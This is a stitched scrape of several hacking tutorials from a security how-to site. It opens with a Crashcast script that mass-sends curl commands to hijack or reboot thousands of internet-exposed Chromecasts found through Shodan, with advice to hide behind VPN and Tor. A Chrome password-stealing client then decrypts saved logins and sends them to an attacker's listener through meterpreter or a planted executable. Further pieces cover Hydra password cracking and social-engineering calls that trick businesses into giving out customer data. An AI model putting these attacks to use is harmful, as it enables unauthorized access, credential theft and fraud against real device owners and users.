time.sleep(randint(1337, 5000) / 1000.0) if (option == 1): print('[+] Sending play video command to Chromecast (%s)' % (result['ip_str'])) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (result['ip$ elif (option == 2): print('[+] Sending terminate YouTube command to Chromecast (%s)' % (result['ip_str'])) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (result['ip_str'])) elif (option == 3): print('[+] Sending rename device command to Chromecast (%s)' % (result['ip_str'])) with suppress_stdout(): os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eu$ elif (option == 4): print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (result['ip_str'])) with suppress_stdout(): os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (result['ip_str'])) elif (option == 5): print('[+] Sending reboot device command to Chromecast (%s)' % (result['ip_str'])) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST'$You can think of the sleep function as a timer. What this line does is gets a random number between 1,337 and 5,000, which represents a time in milliseconds. It then divides by 1,000 to convert to seconds and waits that long between issuing commands to the Chromecast devices. You can change 1,337 and 5,000 to any value you want, and it will wait a random time in that range. For example, 10,000 would be 10 seconds.When you're done, hitCtrl xto exit nano, thenyto save the changes.Step 6: Run CrashcastBefore running Crashcast, note that this is a legally gray area, and you should use this at your own risk. While the devices are on the internet, it doesn't mean that you have the right to use them. Even if you do, in your country, it may not be in the country the Chromecast is located in.Start Crashcast with Python.~$ python3 Crashcast.py ██████╗██████╗ █████╗ ███████╗██╗ ██╗ ██████╗ █████╗ ███████╗████████╗ ██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗██╔════╝╚══██╔══╝ ██║ ██████╔╝███████║███████╗███████║██║ ███████║███████╗ ██║ ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██║ ██╔══██║╚════██║ ██║ ╚██████╗██║ ██║██║ ██║███████║██║ ██║╚██████╗██║ ██║███████║ ██║ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ Author: @037 Version: 2.0 ####################################### DISCLAIMER ######################################## | ChrashCast is a tool that allows you to use Shodan.io to obtain thousands of vulnerable | | Chromecast devices. It then allows you to use the same devices to mass-play any video | | you like, reboot device, set new device name, and terminate apps. It uses a simple cURL | | command to execute the specified command on all the vulnerable Chromecast devices. This | | exploit only works because people decided it would be a good idea to leave their device | | exposed to the entire internet. Think again. | ######################################### WARNING ######################################### | I am NOT responsible for any damages caused or any crimes committed by using this tool. | | Use this tool at your own risk, it is meant to ONLY be a proof-of-concept for research. | ###########################################################################################Assuming this is the first time running the program, paste your Shodan API key from before when prompted, and thenEnter. After that, verify you want to use Shodan withyandEnter. Lastly, save the results withyandEnter, and decline locally stored withnandEnter.Now, choose the style of exploit you want to use from the menu, type in the number, and hitEnter.[*] Please enter a valid Shodan.io API Key: ████████████████████████ [~] File written: ./api.txt [*] Use Shodan API to search for affected Chromecast devices? <Y/n>: y [~] Checking Shodan.io API Key: ████████████████████████ [✓] API Key Authentication: SUCCESS [~] Number of Chromecast devices: 196879 [*] Save results for later usage? <Y/n>: y [~] File written: ./chromecast.txt [*] Would you like to use locally stored Shodan data? <Y/n>: n ####################################### CHOICES ######################################## | 1. Mass-play YouTube video: Unreliable, may not work. Only requires YT video ID. | | 2. Close YouTube app: Will terminate YouTube process. | | 3. Rename Chromecast Device: Will reassign new defined SSID name for device. | | 4. Kill Chromecast Process: Will stop Chromecast home screen. | | 5. Reboot Chromecast: Will simply cause Chromecast to reboot. | ######################################################################################## [*] Select option (1–5): 1 [*] Enter YouTube video ID to mass-play (the string after v=): F2HH7J-Sx80For the video option, you can now paste the video ID from Step 3 and hitEnter. It will display the list of all the IP addresses that are about to be bombarded with requests.[+] Chromecast device (73) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom | [+] Chromecast device (74) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (75) | IP: ███.███.██.███ | OS: None | ISP: Bredband i Kristianstad AB | [+] Chromecast device (76) | IP: ███.███.██.███ | OS: None | ISP: Fastweb | [+] Chromecast device (77) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (78) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom | [+] Chromecast device (79) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation | [+] Chromecast device (80) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (81) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (82) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (83) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (84) | IP: ███.███.██.███ | OS: None | ISP: Hoshin Multimedia Center | [+] Chromecast device (85) | IP: ███.███.██.███ | OS: None | ISP: Mobile Services Latvia | [+] Chromecast device (86) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (87) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (88) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (89) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom | [+] Chromecast device (90) | IP: ███.███.██.███ | OS: None | ISP: Telefonica de Espana | [+] Chromecast device (91) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (92) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (93) | IP: ███.███.██.███ | OS: None | ISP: Frontier Communications | [+] Chromecast device (94) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (95) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation | [+] Chromecast device (96) | IP: ███.███.██.███ | OS: None | ISP: Retel Jsc. | [+] Chromecast device (97) | IP: ███.███.██.███ | OS: None | ISP: FORTHnet SA | [+] Chromecast device (98) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation | [+] Chromecast device (99) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [+] Chromecast device (100) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm | [*] Ready to mass-play YouTube video (F2HH7J-Sx80)? <Y/n>: yI should point out a limitation with the Shodan API — it's incapable of distinguishing between legitimate Chromecast devices and honeypots designed to emulate them. So, inevitably, at least a few of the IP addresses in this list will be honeypots, which means you should take necessary precautions such as using a VPN and Tor if you are not already. Otherwise, you might beshamed on Twitter.Don't Miss:How to Fully Anonymize Kali with Tor, Whonix & PIA VPNEither way, when you're ready to execute the attack, do the lastyandEnter. And just like that, you exploited thousands of Chromecast devices.Step 7: Protect Your Own ChromecastIf you have a Chromecast of your own, open your router admin page, which should be something like 192.168.1.1. Check your router model's guide for help identifying it. Once there, find a port forwarding setting and look for the ports 8008, 8443, and 8009. If you see any of those being forwarded, then stop and remove them.Other than that, you may wish to turn off any Universal Plug and Play (UPnP) settings on the router. The originalPewDiePie hackersbelieved that UPnP might be part of the issue but othershave disputed this. As long as the three ports are not being forwarded, you should be safe as a kitten.Thanks for reading! If you have any questions, you can ask here in the comments or on Twitter@The_Hoid.Don't Miss:How to Map Networks & Connect to Discovered Devices Using Your PhoneFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by Hoid/Null ByteRelatedHow To:Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreHow To:This Is the Best Way to Watch YouTube on ChromecastHow To:Take Your Party to a New Level with These Chromecast AppsHow To:This Android App Lets You Cast Unsupported Web Videos to ChromecastDeal Alert:Get Google Play Music & YouTube Red for Only $5 a Month (Up to 5 Years!)VLC 101:How to Cast Any Video to Your TV NativelyHow To:Stop Handing Out Your Wi-Fi Password by Enabling "Guest Mode" on Your ChromecastHow To:Change Your Android TV's ScreensaverDeal Alert:Spotify's Giving Away Free ChromecastsHow To:Your Chromecast Ultra Has a Game Mode Feature for Stadia StreamingNews:Chromecast's First Real Competitor Gets LeakedHow To:Find the Latest & Greatest Chromecast AppsTIDAL 101:How to Cast Music to Your Google Home or ChromecastYouTube 101:How to Cast Videos to Your TVNews:Get a Free $6 Google Play Credit for Every Chromecast You OwnRickroll Warning:This Exploit Can Hijack Any Nearby ChromecastHow To:Use Your Chromecast to Make PowerPoint Presentations from Your AndroidHow To:Stream Rdio & Spotify to Chromecast as Music VideosNews:Chromecast App Gets a Huge Update—Here's All the Cool New FeaturesHow To:Send Just About Anything from Your Phone to Your TV via ChromecastHow To:Stream Personal Movies, Music, & Photos to Chromecast from Any Android DeviceHow To:Cast Videos Directly from Your Mobile Browser to Your ChromecastHow To:Stream Spotify Music to Chromecast from Your Android or iPhoneHow To:Enjoy Some Politically Incorrect Laughs with CardCast for Android & iOSHow To:Fix The "Can't Play a Sideloaded Song Remotely" Error When Streaming Google Play Music to ChromecastHow To:Turn an Old Android Phone into a Chromecast RemoteHow To:Cast Web Videos from iPad or iPhone to ChromecastHow To:Personalize Your TV Experience with Chromecast's New Backdrop FeatureHow To:Stream Your Personal Movie Collection to Your Amazon Fire TVHow To:Speed Test Your Chromecast or Android TVHow To:Test Your Chromecast's Network ConnectionHow To:Here's How to Get Amazon's Chromecast Competitor for Only $20News:Google Celebrates Chromecast's Birthday with Free All Access MusicIt's Begun:Chromecast All Your Movie, Music, & Picture Files with AllCastNews:7 New Games Just Released for ChromecastHow To:Use Your Android Device as a Wiimote-Style Controller to Play Tennis on Your ChromecastNews:8 Best Local & Streaming Music Players for AndroidHow To:Use Your Command Line to Cast Almost Any Music or Video File TypeHow To:Add Widgets to Your Chromecast's Home ScreenHow To:Enable Chromecast's Screen Mirroring on Any Rooted Android Device Running KitKat
Everything Else « Null Byte :: WonderHowTo
No content found.
How to Grab All the Passwords « Null Byte :: WonderHowTo
This is a short explanation and tutorial on how to grab saved passwords from Google Chrome, ideally from a meterpreter session. The idea behind this is to understand how saved passwords work and how to keep them safe. Let's have some fun :DImage viaimgur.comUnderstanding Google Chrome Saved PasswordsIn 2013 the"Google Chrome team came under fire for its long-held practice of making saved passwords visible in plain text."This is a big flaw which they did patch after this problem, however their attempts clearly weren't good enough. The main problem with what they did was the fact they are using the CryptProtectData function, built into Windows. Now while this can be a very secure function using a triple-DES algorithm and creating user-specific keys to encrypt the data, it can still be decrypted as long as you are logged into the same account as the user who encrypted it. For those who understand what I just said... well done. For those who didn't, well basically you can decrypt the data as long as your on the same windows user-profile as the original user.Practicing the FlawThe CryptProtectData function has a twin, who does the opposite to it; CryptUnprotectData, which... well you guessed it, decrypts the data. And obviously this is going to be very useful in trying to decrypt the stored passwords.Step 1: Finding the DatabaseTheLogin Datadatabase is stored in%USER%>AppData>Local>Google>Chrome>User Data>Default. The file isn't stored as a database however upon opening the file inNotepad ++there is a string, before the encrypted data which defines the SQL file type seen here:Image viapostimg.orgNot too hard. Now if we open it in an SQL database reader we can see the contents. For this I am using SQL browser, due to its simplicity and functionality. You can download ithere. To open it I made a copy and added.dbto the end, to make it a readable database format. Now here is an example of what I get:Image viapostimg.orgHighlighted in yellow, you can see it saysBLOB. Onthiswebsite a blob is defined asBLOBA generic sequence of bits that contain one or more fixed-length header structures plus context specific data.This makes sense when you readthisexample of the CryptProtectData function. The database currently shows the encrypted dataBLOB... Not what we want.DerpStep 2: The Godly Python Programming LanguageIf you are unfamiliar with python you should learn itNOW. It is a amazingly powerful for the simplicity of the language and can be used for a variety of tasks. For this we are also going to needPywin32which can be downloaded but might be installed by default (I cant remember (Double Derp)), more specifically the win32crypt module which allows us to run CryptUnprotectData. Along with this we're going to import the sqlite3 module and socket module, which will allow us to connect back home. Finally we want to importgetenvfrom the all powerful OS module so we can go to appdata regardless of the of the name of the user, which is important if you want to run on any computer.Python ClientThe client code is providedhere. Now here is an explanation of the codeAfter the imports, the items for the sockets are definedImage viapostimg.orgHere you will need to put in your IP and the port you want to run the program on.Then the program makes two database connections. One to the Login Data and one to a database to store the decrypted passwords. Obviously there wont be an existing database however the function will create one.Note: You must remember to either hide the run location or delete the database afterwardsThen the program creates a socket and then connects to the server/listenerImage viapostimg.orgAfter this we create two Cursor objects, which defines a rule set for the SQLite database. In our case we need it to execute SQL commands.Image viapostimg.orgAfter this we execute some commands :D First is selecting the table and then the columns, and loads them into the program. Then we create a table calledPasswordsand 3 columns (URL, Username, Passwords)Image viapostimg.orgThen the magic happens.What the code means is that for every item loaded from the database. It executes certain commands. First it creates a variablepasswordand (finally) does CryptUnprotectData on the third item loaded (numbered 2 because computes always count from 0). Then it makes variables for the user and url. Finally if there is data present in the variablepasswordit puts all of the items into the decrypted database.Image viapostimg.orgThe next part is a small send handler which loads the decrypted database, reads from it and then sends it to the connection. :DImage viapostimg.orgFinally all the database connections are closed and the socket is shutdown.Image viapostimg.orgPython ServerThis requires far less explanation, but what it does is it creates a socket, listens for one connection, then accepts the connection, receives the data and writes it to a new database. For this you must remember to add your IP and port. If you are on a LAN then you should use your local IP for both, but if you want to attack over the internet put the server ip as the machines local IP and the clients IP as your external IP. Youmustremember to port forward which ever port you are using.The pastebin link ishere:)Step 3: Compiling the Python ProgramOnce the client has been written to a file and setup it should be compiled to an exe. The reason for this is that not all computers might have the python modules installed or even python! Compiling it to an exe means it can be run on any windows computer :D. A quick google search can resolve how to do this, so I'm not going to show the procedure now.Step 4: Running the ProgramThere are two main things you can do with this. You can use it as a payload. However a way others might appreciate is using meterpreter to run the script.The first one is easy, just run the server script with the right details, and have the client run on the target machine and if all goes correctly you should have the passwords in a database on your computerdecrypted.Here I'm going to demonstrate using a single computer.First I configure my server then the client with the correct detailsServer:Image viapostimg.orgClient:Image viapostimg.orgNow I start the server (make sure this is done first) and then the client. Obviously if you put the payload on a memory stick or something then you just have to wait for the person to run the program. When the program has started, you'll see the connection has been made:Image viapostimg.orgAs soon as the connection is made then you will see the file appear in the same folder as the server. Since I am running both on the same machine, in the same folder, I get two databases. One is from the client, and one is from the server. The passwordsdecrypt.db is the database which was decrypted from the client. Then it is sent to the server where it is saved as passwords.db. Of course if you are running it on different computers you will only get passwords.db.Image viapostimg.orgUpon opening passwords.db you should see all of the decrypted passwords :DImage viapostimg.orgPWNEDStep 5: Grabbing with Meterpreter (Nearly There Baby)Once you have a meterpreter session running (plenty of tutorials to do this) you need to take the exe file/folder and use theuploadmeterpreter command to upload the program onto their pc which you can then run.For this I simply uploaded the python file, becus I iz lazi.... Then a grabbed a shell and ran the program, making sure my server was listening. And then... sure enoughpasswords.dbappeared on my desktop!Here is the two programs being set up to my IP and the same port:Image viapostimg.orgThen you can see me uploading the python file and running it in the shell:Image viapostimg.orgStep 6: Opening the DatabaseTo open the database we are going to use an inbuilt kali tool called SQLite database browser. From here we just open the database file:Image viapostimg.orgImage viapostimg.orgAnd if you locate to the Browse Data tab you will be able to see all the passwords. :DDDDDDOUBLE PWNEDProtectionI'm not going ot delve deep into password protection. However there are many tools out there such as Lastpass. But the best password security is your brain. Of course it is important to make strong passwords but that is a different point.Final NotesHopefully you found this useful but, any use of this code for malicious intent is due to the user and I will not be held liable for any damage caused.If there is anything at all you didn't understand (more than likelyDerp) please comment.Sauces:Elliott KemberThe All-Trustworthy MicrosoftMost importantly RaiderSecMisc.RobynWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgNews:8 Tips for Creating Strong, Unbreakable PasswordsHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Video:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Make a Python Basic Unix Password Cracker!How To:Get started with WiresharkHow To:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesHack Like a Pro:Using TFTP to Install Malicious Software on the TargetNews:Solve your rar password recovery problemHow To:Carve Saved Passwords Using CainMastering Security, Part 1:How to Manage and Create Strong PasswordsSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:Remove a Windows Password with a Linux Live CDSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Create Strong, Safe PasswordsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmNews:A Screen-Grab Roundup of 0x10c's 3D Shape Editor Engine Progress So FarNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:Hack Mac OS X Lion PasswordsNews:Should district be allowed to demand middle-schooler's Facebook password?Goodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:Stronger PasswordsRainbow Tables:How to Create & Use Them to Crack PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingNews:New Farmville Grab Bag UpdateGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:Recover a Windows Password with OphcrackHow To:How Hackers Take Your Encrypted Passwords & Crack ThemWTFoto of the Day:Password Security Fail
Hack Like a Pro: How to Crack Online Passwords with Tamper Data & THC Hydra « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!Not too long ago, I showed how to findvariousonlinedevicesusingShodan. As you remember, Shodan is a different type of search engine. Instead of indexing the content of websites, it pulls the banner of web servers on all types of online devices and then indexes the content of those banners.This info can be from any type of device including web servers, routers, webcams, SCADA systems, home security systems, and basically anything that has a web interface, which in 2014, means just about everything.I mentioned inmy first Shodan tutorialthat you can often access these devices by simply using the default username and password, as administrators are often lazy and neglectful. The question we want to address in this tutorial is—what do we do when the site requires credentials and the defaults don't work?There is tool that is excellent for cracking online passwords and it is calledTHC-Hydra. Fortunately, it is built intoour Kali distribution, so we don't need to download, install, orcompileanything to use it.Image viaShutterstockStep 1: Download & Install Tamper DataBefore we start with THC-Hydra, let's install another tool that complements THC-Hydra. This tool is known as "Tamper Data", and it is a plug-in for Mozilla's Firefox. Since our IceWeasel browser in Kali is built on the open source Firefox, it plugs equally well into Iceweasel.Tamper Data enables us to capture and see the HTTP and HTTPS GET and POST information. In essense, Tamper Data is a web proxy similar to Burp Suite, but simpler and built right into our browser.Tamper Data enables us to grab the information from the browser en route to the server and modify it. In addition, once we get into more sophisticated web attacks, it is crucial to know what fields and methods are being used by the web form, and Tamper Data can help us with that as well.Let'sdownload it from hereand install it into Iceweasel.Install the Tamper Data Firefox add-on in Iceweasel.Step 2: Test Tamper DataNow that we have Tamper Data installed into our browser, let's see what it can do. Activate Tamper Data and then navigate to any website. Below you can see that I have navigated to Bank of America and Tamper Data provides we with each HTTPS GET and POST request between my browser and the server.HTTPS GET and POST requests for BOA.When I try to login to the site with the username "hacker", Tamper Data returns to me all the critical info on the form. This information will be useful when we begin to use Hydra to crack online passwords.Tamper Data information for BOA login.Step 3: Open THC HydraNow that we have Tamper Data in place and working properly, let's open Hydra. You can find it atKali Linux->Password->Online Attacks->Hydra. You can see it about midway among the list of online password cracking tools.Select the "hydra" tool.Step 4: Understand the Hydra BasicsWhen we open Hydra, we are greeted with this help screen. Note the sample syntax at the bottom of the screen. Hydra's syntax is relatively simple and similar to other password cracking tools.The initial help screen for Hydra.Let's take a look at it further.hydra -l username -p passwordlist.txt targetTheusernamecan be a single user name, such as "admin" or username list,passwordlistis usually any text file that contains potential passwords, andtargetcan be an IP address and port, or it can be a specific web form field.Although you can use ANY password text file in Hydra, Kali has several built in. Let's change directories to/usr/share/wordlists:kali > cd /usr/share/wordlistsThen list the contents of that directory:kali > lsYou can see below, Kali has many word lists built in. You can use any of these or any word list you download from the web as long as it was created in Linux and is in the .txt format.The default word lists available in Kali.Step 5: Use Hydra to Crack PasswordsIn the example below, I am using Hydra to try to crack the "admin" password using the "rockyou.txt" wordlist at 192.168.89.190 on port 80.An example of using Hydra.Using Hydra on Web FormsUsing Hydra on web forms adds a level of complexity, but the format is similar except that you need info on the web form parameters that Tamper Data can provide us.The syntax for using Hydra with a web form is to use <url>:<formparameters>:<failure string> where previously we had used the target IP. We still need a username list and password list.Probably the most critical of these parameters for web form password hacking is the "failure string". This is the string that the form returns when the username or password is incorrect. We need to capture this and provide it to Hydra so that Hydra knows when the attempted password is incorrect and can then go to the next attempt.In my next Hydra tutorial, I will show you how to use this information to brute-force any web form including all those web cams, SCADA systems, traffic lights, etc. that we can find onShodan.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Using Hydra 5.4 to crack FTP passwordsNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Audit remote password using THC-HydraHow To:Hack Mac OS X Lion PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack Them
Listen In: Live Social Engineering Phone Calls with Professional Social Engineers (Week 2) « Null Byte :: WonderHowTo
Last week's social engineering phone calls were a blast. We made some friends, and even some enemies. We scored cheap food for some buddies, made some phone bills disappear, and even got a few people somefreepizzas. So overall, it was a very successful night. In light of its success, I figured we'd all do another one!Common Goals of Social Engineering CallsScoring needy people free foodManipulating and extending warrantiesContracting and haggling cheap services (just for practice)Tricking businesses into revealing personal information about customersLeading retail companies on for a sale to try to reduce prices as low as possibleI hope that these calls will serve as a first-hand guide for everyone to learn more about social engineering. This will serve as a very rare link from the small underground world of the "Fone Phreaks" to you, in hopes of teaching you how a professional social engineer manipulates the human mind to their advantage with ease. This includes what fake names statistically work best, which scenarios, accents the manipulator uses and more.RequirementsSkype accountIRC clientHow Does This Work?Every Monday night, until we feel like stopping, you can join the IRC channel for an invite to a Skype room filled with professional social engineers! If you're new to IRC, gohereto learn how to set it up and use it. If you attend IRC and show interest, you will receive an invite to the chat and conference.When Does It Start?Every Monday starting5 p.m. PST(8 p.m. EST). If you need to convert the time to another time zone, just go to theTime Zone Converter.PLEASE,arrive on time.You will be left out if you do not arrive on time.GoalsI hope for this to teach you all about the threats and uses of social engineering in the real world. Upon finishing each call, we can post them to YouTube so the rest of the community can hear the devious tactics that went down.You are free to try a call if you think you are up to it. You will see some really intense stuff and it's not for the faint of heart. Be prepared to hear businesses you interact with often gleefully handing out your personal information on a whim to a person without identity.Feel free to sign up for calls below.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byarielRelatedHow To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Use Social Engineering to Find Out More Information About a CompanyHow To:Use Social Engineering to Hack ComputersHack Like a Pro:The Ultimate Social Engineering HackSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Use "SET", the Social-Engineer ToolkitListen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Social Engineering, Part 1:Scoring a Free Cell PhoneNews:Live Social EngineeringWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Proof of Social Engineering Success!How To:Score Free Game Product Keys with Social EngineeringXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Google social web engineer Joseph Smarr talks about lessons from Google+Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)How To:The Official Google+ Insider's Guide IndexSocial Engineering:The BasicsHow To:recognize Crowd Control - Part 1How To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemHow To:The Social Engineer's Guide to Buying an Expensive LaptopHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Social Engineer Your Debt Collectors Into Giving You More Time to Pay BillsNews:Social Hacking and Protecting Yourself from Prying EyesDrive-By Hacking:How to Root a Windows Box by Walking Past ItNews:Top 13 Google Insiders to Follow on Google+Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)News:Engineering Degree Program TipsNews:Welcome to the Google+ Insider's Guide!News:Let's Get To Cookin' !News:Top 104 Amazing Photographers to Circle on Google+News:UET,lahore,pakistan
Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019 « Null Byte :: WonderHowTo
To hack a Wi-Fi network using Kali Linux, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, so I've rounded up this list of 2019's best wireless network adapters for hacking on Kali Linux to get you started hacking both WEP and WPA Wi-Fi networks.Wi-Fi Hacking for BeginnersKali Linux is by far the best supported hacking distro for beginners, and Wi-Fi hacking on Kali (previously called BackTrack) is where I started my own journey into hacking. In order to hack Wi-Fi, you will quickly learn that a wireless network adapter supporting packet injection and monitor mode is essential. Without one, many attacks are impossible, and the few that work can take days to succeed. Fortunately, there are several good adapters to choose from.Don't Miss:Select a Field-Tested Kali Linux Compatible Wireless AdapterA range of Kali Linux compatible network adapters.Image by SADMIN/Null ByteIf you're new to hacking Wi-Fi, Null Byte'sKali Pi hacking platformis a great way to get started hacking on Kali Linux for little investment. Any of the wireless network adapters on this list can be combined with a Raspberry Pi to build your own Wi-Fi hacking computer.A Raspberry Pi with a supported network is a powerful, low-cost Kali Linux hacking platform.Image by SADMIN/Null ByteDon't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliWhat's so great about wireless network adapters? By swapping out the antenna or adapter type, we can target different kinds of networks. We can even target far-away networks with the addition of special super long-range directional antennaslike the Yagi antenna($91.99).Chipsets Supported by Kali LinuxSo how do you pick the best wireless network adapter for hacking? If you're hacking on Kali, certain chipsets (the chip that controls the wireless adapter) will work without much or any configuration needed.Atheros AR9271 chipset inside the ALFA Network AWUS036NHA.Image by Maintenance script/WikidevChipsets that work with Kali include:Atheros AR9271Ralink RT3070Ralink RT3572Realtek 8187L (Wireless G adapters)Realtek RTL8812AU(newly in 2017)my research also suggests theRalink RT5370Nis compatibleIn 2017, Kali Linux began supporting drivers for theRTL8812AUwireless chipsets. These drivers are not part of the standard Linux kernel and have been modified to allow for injection. This is a big deal because this chipset is one of the first to support 802.11 AC, bringing injection-related wireless attacks to this standard.Kali Linux compatible adapters.Image by SADMIN/Null ByteAdapters That Use the Ralink RT3070 ChipsetThe Alfa AWUS036NH 2.4 GHz($31.99 on Amazon)The Alfa AWUS036NH is a b/g/n adapter with an absurd amount of range. This is amplified by the omnidirectional antenna and can be paired with aYagi($29.95) orPaddle($23.99) antenna to create a directional array.The AWUSO36NH.Image by SADMIN/Null ByteThe Alfa AWUS036NEH 2.4 GHz($29.99 on Amazon)If you're looking for a somewhat more compact wireless adapter that can be plugged in via USB, the Alfa AWUS036NEH is a powerful b/g/n adapter that's slim and doesn't require a USB cable to use.The AWUS036NEH, relatively compact with extreme range.Image by SADMIN/Null ByteThe Panda PAU05 2.4 GHz($13.99 on Amazon)Sometimes you need a stealthier option that's still 